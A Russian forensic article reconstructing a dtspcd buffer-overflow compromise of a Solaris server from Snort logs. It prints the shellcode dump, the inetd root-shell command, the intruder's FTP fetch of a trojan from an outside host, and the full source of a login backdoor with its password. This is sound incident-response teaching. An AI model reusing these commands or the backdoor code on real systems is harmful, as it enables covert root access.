Анализ журнала IDS для выявления атаки

Анализ журнала IDS для выявления атаки

В этой статье рассматриваются шаги, необходимые для полного анализа атакованной машины. А точнее, мы будем исследовать инструмент, использованный как эксплойт для уязвимости переполнения буфера dtspcd, позволяющий удаленно получить root доступ к системе. Цель статьи – продемонстрировать значение IDS логов при проведении анализа системы.

SHAMS, по материалам SecurityFocus

Был атакован подключенный к сети сервер Sun Solaris, при помощи эксплойта службы dtspcd в CDE, Motif графической оболочки для Unix систем. Вы – старший сотрудник отдела, отвечающего за информационную безопасность вашей компании, и вам необходимо выяснить, как и кем был атакован сервер. Используя только бинарный файл Snort с удаленного лог сервера, вы должны провести анализ всех лог файлов IDS  и исследовать файловую систему.

В этой статье рассматриваются шаги, необходимые для полного анализа атакованной машины. А точнее, мы будем исследовать инструмент, использованный как эксплойт для уязвимости переполнения буфера dtspcd, позволяющий удаленно получить root доступ к системе. Цель статьи – продемонстрировать значение IDS логов при проведении анализа системы.

Анализ журналов

В этой статье освещаются техника и методы, используемые для анализа проблемы. В этом исследовании будет использован бинарный файл Snort, щедро предоставленный Lance Spitzner и Honeynet Project.

После скачивания бинарного файла Snort, я немедленно начал работу. Сначала я распаковал логи Snort и проверил формат, в котором они были захвачены.

-bash-2.05b$ tar -zxvf 0108@000-snort.log.tar.gz

-bash-2.05b$ file 0108@000-snort.log
tcpdump capture file (big-endian) - version 2.4 (Ethernet, capture length 1514)

Как только я увидел пакеты, то сразу начал понимать что произошло. Детальные объяснения будут приведены ниже.

14:46:04.378306 adsl-61-1-160.dab.bellsouth.net.3592 > 172.16.1.102.6112: P 1:14

49(1448) ack 1 win 16060 <nop,nop,timestamp 463986683 4158792> (DF)
0x0000   4500 05dc a1ac 4000 3006 241c d03d 01a0        E.....@.0.$..=..
0x0010   ac10 0166 0e08 17e0 fee2 c115 5f66 192f        ...f........_f./
0x0020   8018 3ebc e1e9 0000 0101 080a 1ba7 dffb        ..>.............
0x0030   003f 7548 3030 3030 3030 3032 3034 3130        .?uH000000020410
0x0040   3365 3030 3031 2020 3420 0000 0031 3000        3e0001..4....10.
0x0050   801c 4011 801c 4011 1080 0101 801c 4011         .@...@.......@.
0x0060   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x0070   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x0080   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x0090   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x00a0   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x00b0   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x00c0   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x00d0   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x00e0   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x00f0   801c 4011 801c 4011 801c 4011 801c 4011         ..@...@...@...@.

[logs cut short due to repeated patterns]

Бесполезная информация в этом пакете это символ “@”. Шестнадцатиричное (0x801c4011) является инструкцией NOP для архитектуры Sparc. Более известная инструкция NOP 0x90 работает только на машинах i386. Что такое NOP проход? Эксплойт заполняет буфер, когда неизвестно, где начинается код. И если эксплойт укажет в любое место области, заполненной NOP инструкциями, процессор проследует до конца этой области и перейдет к исполняемому коду.

Затем я использовал tcpdump для вывода в читабельной форме шестнадцатиричных дампов каждого пакета,  посланного по этому IP адресу.

-bash-2.05b$ tcpdump -X -r 0108@000-snort.log host 172.16.1.102

Складывая все вместе

Просматривая логи дальше, я нашел пакет, ответственный за выполнение кода на сервере:

[beginning of packet removed due to NOP slides]
0x04d0   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x04e0   801c 4011 801c 4011 801c 4011 801c 4011        ..@...@...@...@.
0x04f0   20bf ffff 20bf ffff 7fff ffff 9003 e034        ...............4
0x0500   9223 e020 a202 200c a402 2010 c02a 2008        .#...........*..
0x0510   c02a 200e d023 ffe0 e223 ffe4 e423 ffe8        .*...#...#...#..
0x0520   c023 ffec 8210 200b 91d0 2008 2f62 696e        .#........../bin
0x0530   2f6b 7368 2020 2020 2d63 2020 6563 686f        /ksh....-c..echo
0x0540   2022 696e 6772 6573 6c6f 636b 2073 7472        ."ingreslock.str
0x0550   6561 6d20 7463 7020 6e6f 7761 6974 2072        eam.tcp.nowait.r
0x0560   6f6f 7420 2f62 696e 2f73 6820 7368 202d        oot./bin/sh.sh.-
0x0570   6922 3e2f 746d 702f 783b 2f75 7372 2f73        i">/tmp/x;/usr/s
0x0580   6269 6e2f 696e 6574 6420 2d73 202f 746d        bin/inetd.-s./tm
0x0590   702f 783b 736c 6565 7020 3130 3b2f 6269        p/x;sleep.10;/bi
0x05a0   6e2f 726d 202d 6620 2f74 6d70 2f78 2041        n/rm.-f./tmp/x.A
0x05b0   4141 4141 4141 4141 4141 4141 4141 4141        AAAAAAAAAAAAAAAA
0x05c0   4141 4141 4141 4141 4141 4141 4141 4141        AAAAAAAAAAAAAAAA
0x05d0   4141 4141 4141 4141 4141 4141                      AAAAAAAAAAAA

Исполняемый код:

./bin/ksh -c echo "ingreslock stream tcp nowait root /bin/sh sh -
i"/tmp/x;/usr/sbin/inetd -s
/tmp/x;sleep 10;/bin/rm -f /tmp/x

Как мы видим, эксплойт использует Korn шелл для создания файла x в директории /tmp. В этом файле создается запись вида inetd.conf. Потом запускается демон inetd, используя файл /tmp/x как конфигурационный. Это создает root шел на 1524/tcp порту. Этот порт имеет длинный список эксплойт шелов, которые к нему присоединяются, включая rpc.cmds, statd и tooltalk. Как вы видите, dtspcd находится в хорошей компании.

Первый шаг анализа завершен. Теперь мы выяснили, как атакующий получил доступ к системе. Теперь можно просмотреть логи по второму разу, собирая всю информацию, относящуюся к 1524/tcp порту, по которому атакующий наверняка открывал какое-нибудь соединение (скорее всего telnet) для посылки команд серверу.

14:46:18.398427 adsl-61-1-160.dab.bellsouth.net.3596 > 172.16.1.102.ingreslock:
P 1:209(208) ack 1 win 16060 <nop,nop,timestamp 463988091 4160200> (DF)
0x0000   4500 0104 a1cc 4000 3006 28d4 d03d 01a0        E.....@.0.(..=..
0x0010   ac10 0166 0e0c 05f4 fff7 8025 5fbb 0117        ...f.......%_...
0x0020   8018 3ebc 5082 0000 0101 080a 1ba7 e57b        ..>.P..........{
0x0030   003f 7ac8 756e 616d 6520 2d61 3b6c 7320        .?z.uname.-a;ls.
0x0040   2d6c 202f 636f 7265 202f 7661 722f 6474        -l./core./var/dt
0x0050   2f74 6d70 2f44 5453 5043 442e 6c6f 673b        /tmp/DTSPCD.log;
0x0060   5041 5448 3d2f 7573 722f 6c6f 6361 6c2f        PATH=/usr/local/
0x0070   6269 6e3a 2f75 7372 2f62 696e 3a2f 6269        bin:/usr/bin:/bi
0x0080   6e3a 2f75 7372 2f73 6269 6e3a 2f73 6269        n:/usr/sbin:/sbi
0x0090   6e3a 2f75 7372 2f63 6373 2f62 696e 3a2f        n:/usr/ccs/bin:/
0x00a0   7573 722f 676e 752f 6269 6e3b 6578 706f        usr/gnu/bin;expo
0x00b0   7274 2050 4154 483b 6563 686f 2022 4244        rt.PATH;echo."BD
0x00c0   2050 4944 2873 293a 2022 6070 7320 2d66        .PID(s):."`ps.-f
0x00d0   6564 7c67 7265 7020 2720 2d73 202f 746d        ed|grep.'.-s./tm
0x00e0   702f 7827 7c67 7265 7020 2d76 2067 7265        p/x'|grep.-v.gre
0x00f0   707c 6177 6b20 277b 7072 696e 7420 2432        p|awk.'{print.$2
0x0100   7d27 600a                                      }'`.

Этот пакет показывает выполненные команды во время соединения с 1524/tcp портом.

Выполненный код.

uname -a;ls -l /core/var/dt/tmp/DTSPCD.log;
        PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/ccs/bin:
/usr/gnu/bin;export 
        PATH;echo "BD PID(s): "`ps -fed|grep ' -s /tmp/x'|grep -v grep|awk 
'{print $2}'`  

Очевидно что это была автоматическая команда, выполняемая после соединения с атакуемой системой. Мы можем сказать это, исходя из указанного времени Snort пакета. Мы знаем, что команда была выполнена точно в 14:46:18.398427 (это видно из приведенного выше дампа). Далее по логам видно, что команда была обработана и выполнена в течении одной секунды.

Этот пакет следует за описанной автоматической командой:

14:46:18.399867 172.16.1.102.6112 > adsl-61-1-160.dab.bellsouth.net.3595:
. ack 4180 win 24616 <nop,nop,timestamp 4160216 463988091> (DF)
0x0000   4500 0034 6aa0 4000 3f06 51d0 ac10 0166        E..4j.@.?.Q....f
0x0010   d03d 01a0 17e0 0e0b 5f82 f43f fee0 9c9b        .=......_..?....
0x0020   8010 6028 05dd 0000 0101 080a 003f 7ad8        ..`(.........?z.
0x0030   1ba7 e57b                                      ...{
14:46:18.400270 172.16.1.102.ingreslock > adsl-61-1-160.dab.bellsouth.net.3596:
. ack 209 win 24408 <nop,nop,timestamp 4160216 463988091> (DF)
0x0000   4500 0034 6aa1 4000 3f06 51cf ac10 0166        E..4j.@.?.Q....f
0x0010   d03d 01a0 05f4 0e0c 5fbb 0117 fff7 80f5        .=......_.......
0x0020   8010 5f58 2617 0000 0101 080a 003f 7ad8        .._X&........?z.
0x0030   1ba7 e57b                                      ...{
14:46:18.421722 172.16.1.102.ingreslock > adsl-61-1-160.dab.bellsouth.net.3596:
P 1:3(2) ack 209 win 24616 <nop,nop,timestamp 4160218 463988091> (DF)
0x0000   4500 0036 6aa2 4000 3f06 51cc ac10 0166        E..6j.@.?.Q....f
0x0010   d03d 01a0 05f4 0e0c 5fbb 0117 fff7 80f5        .=......_.......
0x0020   8018 6028 021b 0000 0101 080a 003f 7ada        ..`(.........?z.
0x0030   1ba7 e57b 2320                                 ...{#.
14:46:18.502830 adsl-61-1-160.dab.bellsouth.net.3596 > 172.16.1.102.ingreslock:
. ack 3 win 16060 <nop,nop,timestamp 463988109 4160218> (DF)
0x0000   4500 0034 a1ce 4000 3006 29a2 d03d 01a0        E..4..@.0.)..=..
0x0010   ac10 0166 0e0c 05f4 fff7 80f5 5fbb 0119        ...f........_...
0x0020   8010 3ebc 469d 0000 0101 080a 1ba7 e58d        ..>.F...........
0x0030   003f 7ada                                      .?z.
14:46:18.505611 172.16.1.102.ingreslock > adsl-61-1-160.dab.bellsouth.net.3596:
P 3:98(95) ack 209 win 24616 <nop,nop,timestamp 4160227 463988109> (DF)
0x0000   4500 0093 6aa3 4000 3f06 516e ac10 0166        E...j.@.?.Qn...f
0x0010   d03d 01a0 05f4 0e0c 5fbb 0119 fff7 80f5        .=......_.......
0x0020   8018 6028 2401 0000 0101 080a 003f 7ae3        ..`($........?z.
0x0030   1ba7 e58d 5375 6e4f 5320 6275 7a7a 7920        ....SunOS.buzzy.
0x0040   352e 3820 4765 6e65 7269 635f 3130 3835        5.8.Generic_1085
0x0050   3238 2d30 3320 7375 6e34 7520 7370 6172        28-03.sun4u.spar
0x0060   6320 5355 4e57 2c55 6c74 7261 2d35 5f31        c.SUNW,Ultra-5_1
0x0070   300a 2f63 6f72 653a 204e 6f20 7375 6368        0./core:.No.such
0x0080   2066 696c 6520 6f72 2064 6972 6563 746f        .file.or.directo
0x0090   7279 0a                                        ry.
14:46:18.610945 adsl-61-1-160.dab.bellsouth.net.3596 > 172.16.1.102.ingreslock:
. ack 98 win 16060 <nop,nop,timestamp 463988120 4160227< (DF)
0x0000   4500 0034 a1cf 4000 3006 29a1 d03d 01a0        E..4..@.0.)..=..
0x0010   ac10 0166 0e0c 05f4 fff7 80f5 5fbb 0178        ...f........_..x
0x0020   8010 3ebc 462a 0000 0101 080a 1ba7 e598        ..>.F*..........
0x0030   003f 7ae3                                      .?z.
14:46:18.612370 172.16.1.102.ingreslock > adsl-61-1-160.dab.bellsouth.net.3596:
P 98:148(50) ack 209 win 24616 <nop,nop,timestamp 4160237 463988120> (DF)
0x0000   4500 0066 6aa4 4000 3f06 519a ac10 0166        E..fj.@.?.Q....f
0x0010   d03d 01a0 05f4 0e0c 5fbb 0178 fff7 80f5        .=......_..x....
0x0020   8018 6028 83ff 0000 0101 080a 003f 7aed        ..`(.........?z.
0x0030   1ba7 e598 2f76 6172 2f64 742f 746d 702f        ..../var/dt/tmp/
0x0040   4454 5350 4344 2e6c 6f67 3a20 4e6f 2073        DTSPCD.log:.No.s
0x0050   7563 6820 6669 6c65 206f 7220 6469 7265        uch.file.or.dire
0x0060   6374 6f72 790a                                 ctory.
14:46:18.710415 adsl-61-1-160.dab.bellsouth.net.3596 > 172.16.1.102.ingreslock:
. ack 148 win 16060  (DF)
0x0000   4500 0034 a1d1 4000 3006 299f d03d 01a0        E..4..@.0.)..=..
0x0010   ac10 0166 0e0c 05f4 fff7 80f5 5fbb 01aa        ...f........_...
0x0020   8010 3ebc 45e4 0000 0101 080a 1ba7 e5a2        ..>.E...........
0x0030   003f 7aed                                      .?z.
14:46:18.801409 172.16.1.102.ingreslock > adsl-61-1-160.dab.bellsouth.net.3596:
P 148:164(16) ack 209 win 24616 <nop,nop,timestamp 4160256 463988130> (DF)
0x0000   4500 0044 6aa5 4000 3f06 51bb ac10 0166        E..Dj.@.?.Q....f
0x0010   d03d 01a0 05f4 0e0c 5fbb 01aa fff7 80f5        .=......_.......
0x0020   8018 6028 9c52 0000 0101 080a 003f 7b00        ..`(.R.......?{.
0x0030   1ba7 e5a2 4244 2050 4944 2873 293a 2033        ....BD.PID(s):.3
0x0040   3437 360a                                      476.





14:46:18.901413 adsl-61-1-160.dab.bellsouth.net.3596 > 172.16.1.102.ingreslock:
. ack 164 win 16060 <nop,nop,timestamp 463988149 4160256> (DF)
0x0000   4500 0034 a1d3 4000 3006 299d d03d 01a0        E..4..@.0.)..=..
0x0010   ac10 0166 0e0c 05f4 fff7 80f5 5fbb 01ba        ...f........_...
0x0020   8010 3ebc 45ae 0000 0101 080a 1ba7 e5b5        ..>.E...........
0x0030   003f 7b00                                      .?{.

Выполненные команды

Я привел только несколько из большого количества команд, выполненных нарушителем. Ниже приведены несколько команд, выполненных вручную при помощи интерактивного шела. Я различаю автоматически выполняемые команды и команды, выполняемые вручную по времени между командами.

Команды, введенные вручную, были посланы после отработки автоматических команд. Каждая команда и ответ показаны ниже:

# w
8:47am  up 11:24,  0 users,  load average: 0.12, 0.04, 0.02
User     tty           login@  idle   JCPU   PCPU  what

# unset HISTFILE
# cd /tmp
mkdir /usr/lib

# mkdir: Failed to make directory "/usr/lib"; File exists

# mv /bin/login /usr/lib/libfl.k

# ftp 64.224.118.115
ftp
ftp: ioctl(TIOCGETP): Invalid argument
Password:a@
cd pub
binary
get sun1
bye

Name (64.224.118.115:root): # 

# ls
ps_data
sun1

# chmod 555 sun1
# mv sun1 /bin/login

Анализ FTP сессии

Вышеприведенные команды были исследованы дальше при помощи опции Ethereal, Follow TCP Stream.

220 widcr0004atl2.interland.net FTP server (Version wu-2.6.2(1) 
Tue Jan 8 07:50:31 EST 2002) ready.
USER ftp
331 Guest login ok, send your complete e-mail address as password.
PASS a@
230 Guest login ok, access restrictions apply.
CWD pub
250 CWD command successful.
TYPE I
200 Type set to I.
PORT 172,16,1,102,130,234
200 PORT command successful.
RETR sun1
150 Opening BINARY mode data connection for sun1 (90544 bytes).
226 Transfer complete.
QUIT
221-You have transferred 90544 bytes in 1 files.
221-Total traffic for this session was 91042 bytes in 1 transfers.
221-Thank you for using the FTP service on widcr0004atl2.interland.net.
221 Goodbye.

Как мы видим, атакующий установил ftp соединение с удаленной машиной и получил файл “sun1”. Как только ftp соединение было закрыто, он изменил разрешения для файла “sun1” и переименовал его в “/bin/login”.

Чтобы взглянуть на это еще ближе, я опять использовал tcpdump для просмотра всех пакетов, прошедших по ftp порту.

bash-2.05$ tcpdump -X -r 0108@000-snort.log port ftp-data

Судя по последней команде нарушителя, это выглядит как видоизмененная программа /bin/login, скорее всего содержащая возможность нелегального входа. Я решил еще раз взглянуть на логи Snort, используя Ethereal для воспроизведения программы sun1, что позволило бы мне выяснить точнее, что это за программа.

Получение бинарного файла “sun1”

Используя такую возможность Ethereal, как  TCP Recovery, я открыл файл Snort, правым кнопкой мыши щелкнул на одном из пакетов FTP-DATA и выбрал TCP Stream из появившихся опций. Затем я сохранил файл с именем “sun1” в формате ASCII.

Анализ двоичного файла.

После сохранения файла, я проанализировал команды в файле, запустив:

-bash-2.05b$ file sun1
sun1: ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped

Мы знаем, что sun1 файл был скомпилирован в операционной системе SUN. Дополнительная отладочная информация, которая могла бы помочь нам при использовании команды strings, была удалена. Для чего предназначался этот файл? Давайте это выясним.

Заметьте также, что файл слинкован статически. Это значит, что эта программа не производит вызовов функций из библиотек, находящихся на этой машине. Поэтому код полностью мобильный и может запускаться на разных системах. Для начала используем команду strings и посмотрим, что мы сможем вытащить.

-bash-2.05b$ strings sun1 | more

Мы получили довольно много информации в результате работы команды. Всего около 1245 строк. Просматривая последовательность печатаемых символов, выдаваемую командой strings, я заметил следующие строки:

DISPLAY
/usr/lib/libfl.k
pirc
/bin/sh

Используя полученную информацию, я попробовал экспортировать pirc в переменную DISPLAY, используя команду bash bash-2.05b$ DISPLAY=pirc. Запустив программу при помощи truss, системной команды, используемой для отслеживания системных вызовов процесса или программы, мне не пришлось запускать бинарный файл на Sun, для сбора дополнительной информации.

Так что же мы узнали об этой программе? Очевидно, что файл sun1 является заменой программы login и предоставляет возможность нелегального входа  в систему. Когда нарушитель получает доступ к системе, он переименовывает оригинальный /bin/login в /usr/lib/libfl.k и заменяет его файлом sun1. Скорее всего, троян/врапер /bin/login не будет журналировать соединения с использованием потайного пароля.

Проверяя восстановленный файл при помощи strings(), мы можем видеть, что файл как-то связан с “/usr/lib/libfl.k”, оригинальной программой login. Мне кажется, что таким образом программа проверяет какие-то специфичные настройки переменной DISPLAY. В этом случае я думаю, что ключом для активации потайного входа является “pirc”. Если секретный ключ не набран, то программа передает управление оригинальной программе login.

Я решил произвести быстрый поиск на предмет исходников этой программы. В надежде получить дополнительную информацию. Я зашел на Packet Storm и произвел поиск по словам “rootkit trojan DISPLAY pirc”. Результат поиска:

UNIX/penetration/rootkits/ulogin.c

4d5c12f579e07686a1b350c0064601f4

Universal login trojan - Login trojan for pretty much any O/S. Tested on Linux, BSDI 2.0, FreeBSD, IRIX 6.x, 5.x, Sunos 5.5,5.6,5.7, and OSF1/DGUX4.0. Works by checking the DISPLAY environment variable before passing the session to the real login binary. Homepage here. By Tragedy

Из приведенного описания, очевидно, что программа ulogin.c и есть тот самый бинарный файл sun1, восстановленный по логам Snort.

Ниже приведен исходный код программы ulogin.c, найденный на Packet Storm.


/*
 * PRIVATE !! PRIVATE !! PRIVATE !! PRIVATE !! PRIVATE !! PRIVATE !! PRIVATE !!
 *	Universal login trojan by Tragedy/Dor
 *		Email: rawpower@iname.com
 *		IRC: [Dor]@ircnet
 *
 *	Login trojan for pretty much any O/S...
 *	Tested on:   Linux, BSDI 2.0, FreeBSD, IRIX 6.x, 5.x, Sunos 5.5,5.6,5.7
 *		     OSF1/DGUX4.0, 
 *	Known not to work on:
 *		SunOS 4.x and 5.4... Seems the only variable passwd to login
 *		on these versions of SunOS is the $TERM... and its passed via
 *		commandline option... should be easy to work round in time
 *
 *   #define         PASSWORD  - Set your password here
 *   #define         _PATH_LOGIN - This is where you moved the original login to
 *  login to hacked host with...
 *  from bourne shell (sh, bash) sh DISPLAY="your pass";export DISPLAY;telnet host
 *
 */

#include        <stdio.h>
#if !defined(PASSWORD)
#define 	PASSWORD	"j4l0n3n"
#endif
#if !defined(_PATH_LOGIN)
# define                _PATH_LOGIN     "/bin/login"
#endif


main (argc, argv, envp)
int argc;
char **argv, **envp;
{
char *display = getenv("DISPLAY");
  if ( display == NULL ) {
        execve(_PATH_LOGIN, argv, envp);
        perror(_PATH_LOGIN);
        exit(1);
	}
  if (!strcmp(display,PASSWORD)) {
                system("/bin/sh");
        exit(1);
        }

        execve(_PATH_LOGIN, argv, envp);
        exit(1);
}

Завершающий анализ двоичного файла.

Как видно из исходников, атакующий использовал следующую команду, чтобы заставить потайной вход работать корректно.

from bourne shell (sh, bash) sh DISPLAY="your pass";export DISPLAY;telnet host

На основании этой информации, можно догадаться, как программа предоставляет пользователю root шел. Программа вызывает оригинальный login, указанный в исходнике эксплойта, в случае если переменная DISPLAY не установлена правильно.

# define                _PATH_LOGIN     "/bin/login"

Просматривая полезную нагрузку эксплойта после успешного переполнения буфера, мы можем просмотреть команды выполненные нарушителем.

Reference: FTP SESSION ANALYSIS

"./bin/ksh -c echo "ingreslock stream tcp nowait root /bin/sh sh -i"
   /tmp/x;/usr/sbin/inetd -s /tmp/x;sleep 10;/bin/rm -f /tmp/x"

Приведенная команда была выполнена нарушитилем. Мы видим как нарушитель создал root шел на порту 1524, используя inetd. Эта команда состоит из четырех команд. Рассмотрим что делает каждая.

./bin/ksh -c echo "ingreslock stream tcp nowait root /bin/sh sh -i"/tmp/x;

Эта команда использует шел Korn для создания файла /tmp/x с одной записью конфигурации inetd. Файл /tmp/x содержит следующую конфигурационную строку «ingreslock stream tcp nowait root /bin/sh sh –I».

/usr/sbin/inetd -s /tmp/x;

Затем производится попытка запустить inetd, используя /tmp/x в качестве конфигурационного файла.

sleep 10;

Следующая команда говорит системе подождать 10 секунд, чтобы позволить inetd перезапуститься с новой конфигурацией.

/bin/rm -f /tmp/x

Эта команда просто удаляет файл /tmp/x, использовавшийся как конфигурационный файл для запуска inetd.

Вывод

Растет необходимость в проявлении увеличенной бдительности при анализе системы с или без логов IDS. Реальность осталась той же самой: пренебрежение к постоянным изменениям и модернизации инструментов, используемых хакерами. Факт, что Snort и другие системы IDS на сегодняшний день ограничены обнаружением на основе сигнатур. Если используется неизвестный эксплойт, то единственным свидетельством преступления являются журналы системы и приложений. Очень важно убедиться, что лог файлы хранятся в неприкосновенности на удаленной системе для дальнейшего исследования.

Отслеживая лог файлы системы и используя системы обнаружения вторжений, таких как Snort, в больших и малых сетях, системные администраторы могут получить дополнительную информацию, чтобы потом вернуться и выяснить что же все-таки произошло.

Используемые инструменты

tcpdump – tcpdump выводит заголовки пакетов сетевого интерфейса, соответствующие логическому выражению.

Ethereal  - графический анализатор сетевого протокола. Позволяет интерактивно просматривать данные пакетов работающей сети или из предварительно сохраненных файлов.

File – утилита выполняет три вида тестов: тест файловой системы, тест magic numbers, тест на язык, и после этого выводит тип файла.

Strings – для каждого файла, GNU strings выводит последовательности печатных символов длинной больше четырех, оканчивающиеся непечатным символом.

Truss – утилита для отслеживания системных вызовов, производимыми процессом или программой.

Alert! Зафиксирована утечка экспертных знаний!

Собираем и анализируем опыт профессионалов ИБ

Подключитесь к потоку конфиденциальной информации!